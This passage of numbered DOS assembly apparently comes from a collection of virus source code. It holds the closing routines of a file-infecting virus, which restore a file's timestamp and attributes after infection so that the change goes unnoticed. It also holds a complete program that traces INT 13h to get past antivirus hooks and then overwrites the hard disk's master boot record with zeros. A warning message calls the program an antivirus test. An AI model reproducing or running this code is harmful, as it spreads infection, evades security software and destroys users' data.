  3003.         mov     [FDATE],dx      ;and here
  3004.         mov     ax,WORD PTR [DTA1+28]   ;file size was set up here by
  3005.         mov     WORD PTR [FSIZE+2],ax   ;search routine
  3006.         mov     ax,WORD PTR [DTA1+26]   ;so move it to FSIZE
  3007.         mov     WORD PTR [FSIZE],ax
  3008.         ret
  3009.  
  3010. ;--------------------------------------------------------------------------
  3011. ;Restore file attribute, and date and time of the file as they were before
  3012. ;it was infected. This also closes the file
  3013. REST_ATTRIBUTE:
  3014.         mov     dx,[FDATE]      ;get old date and time
  3015.         mov     cx,[FTIME]
  3016.         mov     ah,57H          ;set file date and time to old value
  3017.         mov     al,1
  3018.         mov     bx,[HANDLE]
  3019.         int     21H
  3020.         mov     ah,3EH
  3021.         mov     bx,[HANDLE]     ;close file
  3022.         int     21H
  3023.         mov     cl,[FATTR]
  3024.         xor     ch,ch
  3025.         mov     ah,43H          ;Set file attr to old value
  3026.         mov     al,1
  3027.         mov     dx,OFFSET USEFILE
  3028.         int     21H
  3029.         ret
  3030.  
  3031. FINAL:                                  ;last byte of code to be kept in virus
  3032.  
  3033. VSEG    ENDS
  3034.  
  3035.  
  3036. ;--------------------------------------------------------------------------
  3037. ;Virus stack segment
  3038.  
  3039. VSTACK  SEGMENT PARA STACK
  3040.         db STACKSIZE dup (?)
  3041. VSTACK  ENDS
  3042.  
  3043.         END VIRUS               ;Entry point is the virus
  3044.  
  3045.  
  3046. done
  3047.  
  3048.         .radix  16
  3049.  
  3050. code    segment
  3051.     assume    cs:code,ds:code
  3052.  
  3053.     org    100
  3054.  
  3055. CODEX    equ    0C000        ; Or use 0300 when tracing DOS
  3056.  
  3057. CR    equ    0Dh
  3058. LF    equ    0A
  3059.  
  3060. start:
  3061.     jmp    do_it
  3062.  
  3063. oldint1 dd    ?
  3064. newintx dd    ?
  3065. oldintx dd    ?
  3066. trace    db    1
  3067. found    db    0
  3068. buffer    db    200 dup (0)
  3069. message db    CR,LF,'**********  W A R N I N G ! ! !  **********',CR,LF,CR,LF
  3070.     db    'This program, when run, will zero (DESTROY!) the',CR,LF
  3071.     db    'master boot record of your first hard disk.',CR,LF,CR,LF
  3072.     db    'The purpose of this is to test the antivirus software,',CR,LF
  3073.     db    'so be sure you have installed your favourite',CR,LF
  3074.     db    'protecting program before running this one!',CR,LF
  3075.     db    "(It's almost sure it will fail to protect you anyway!)",CR,LF
  3076.     db    CR,LF,'Press any key to abort, or',CR,LF
  3077.     db    'press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $'
  3078. warned    db    CR,LF,CR,LF,'Allright, you were warned!',CR,LF,'$'
  3079.  
  3080. do_it:
  3081.     mov    ax,600        ; Clear the screen by scrolling it up
  3082.     mov    bh,7
  3083.     mov    dx,1950
  3084.     xor    cx,cx
  3085.     int    10
  3086.  
  3087.     mov    ah,0F        ; Get the current video mode
  3088.     int    10        ;  (the video page, more exactly)
  3089.  
  3090.     mov    ah,2        ; Home the cursor
  3091.     xor    dx,dx
  3092.     int    10
  3093.  
  3094.     mov    ah,9        ; Print a warning message
  3095.     mov    dx,offset message
  3096.     int    21
  3097.  
  3098.     mov    ax,0C08     ; Flush the keyboard and get a char
  3099.     int    21
  3100.     cmp    al,0        ; Extendet ASCII?
  3101.     jne    quit1        ; Exit if not
  3102.     mov    ah,8        ; Get the key code
  3103.     int    21
  3104.     cmp    al,6C        ; Shift-F5?
  3105.     jne    quit1        ; Exit if not
  3106.     mov    ah,2        ; Get keyboard shift status
  3107.     int    16
  3108.     and    al,1101b    ; Ctrl-Alt-RightShift?
  3109.     jnz    proceed     ; Proceed if so
  3110. quit1:
  3111.     jmp    quit        ; Otherwise exit
  3112.  
  3113. proceed:
  3114.     mov    ah,9        ; Print the last message
  3115.     mov    dx,offset warned
  3116.     int    21
  3117.  
  3118.     mov    ax,3501     ; Get interrupt vector 1 (single steping)
  3119.     int    21
  3120.     mov    word ptr oldint1,bx
  3121.     mov    word ptr oldint1+2,es
  3122.  
  3123.     mov    ax,2501     ; Set new INT 1 handler
  3124.     mov    dx,offset newint1
  3125.     int    21
  3126.  
  3127.     mov    ax,3513     ; Get interrupt vector 13
  3128.     int    21
  3129.     mov    word ptr oldintx,bx
  3130.     mov    word ptr oldintx+2,es
  3131.     mov    word ptr newintx,bx
  3132.     mov    word ptr newintx+2,es
  3133.  
  3134. ; The following code is sacred in it's present form.
  3135. ; To change it would cause volcanos to errupt,
  3136. ; the ground to shake, and program not to run!
  3137.  
  3138.     mov    ax,200
  3139.     push    ax
  3140.     push    cs
  3141.     mov    ax,offset done
  3142.     push    ax
  3143.     mov    ax,100
  3144.     push    ax
  3145.     push    cs
  3146.     mov    ax,offset faddr
  3147.     push    ax
  3148.     mov    ah,55
  3149.     iret
  3150.  
  3151.     assume    ds:nothing
  3152.  
  3153. faddr:
  3154.     jmp    oldintx
  3155.  
  3156. newint1:
  3157.     push    bp
  3158.     mov    bp,sp
  3159.     cmp    trace,0
  3160.     jne    search
  3161. exit:
  3162.     and    [bp+6],not 100
  3163. exit1:
  3164.     pop    bp
  3165.     iret
  3166. search:
  3167.     cmp    [bp+4],CODEX
  3168.     jb    exit1
  3169. ;Or use ja if you want to trace DOS-owned interrupt
  3170.     push    ax
  3171.     mov    ax,[bp+4]
  3172.     mov    word ptr newintx+2,ax
  3173.     mov    ax,[bp+2]
  3174.     mov    word ptr newintx,ax
  3175.     pop    ax
  3176.     mov    found,1
  3177.     mov    trace,0
  3178.     jmp    exit
  3179.  
  3180.     assume    ds:code
  3181. done:
  3182.     mov    trace,0
  3183.     push    ds
  3184.     mov    ax,word ptr oldint1+2
  3185.     mov    dx,word ptr oldint1
  3186.     mov    ds,ax
  3187.     mov    ax,2501     ; Restore old INT 1 handler
  3188.     int    21
  3189.     pop    ds
  3190.  
  3191. ; Code beyong this point is not sacred...
  3192. ; It may be perverted in any manner by any pervert.
  3193.  
  3194.     cmp    found,1     ; See if original INT 13 handler found
  3195.     jne    quit        ; Exit if not
  3196.     push    ds
  3197.     pop    es        ; Restore ES
  3198.  
  3199.     mov    ax,301        ; Write 1 sector
  3200.     mov    cx,1        ; Cylinder 0, sector 1
  3201.     mov    dx,80        ; Head 0, drive 80h
  3202.     mov    bx,offset buffer
  3203.     pushf            ; Simulate INT 13
  3204.     call    newintx     ; Do it
  3205.  
  3206. quit:
  3207.     mov    ax,4C00     ; Exit program
  3208.     int    21
  3209.  
  3210. code    ends
  3211.     end    start
  3212.  
  3213. done
  3214.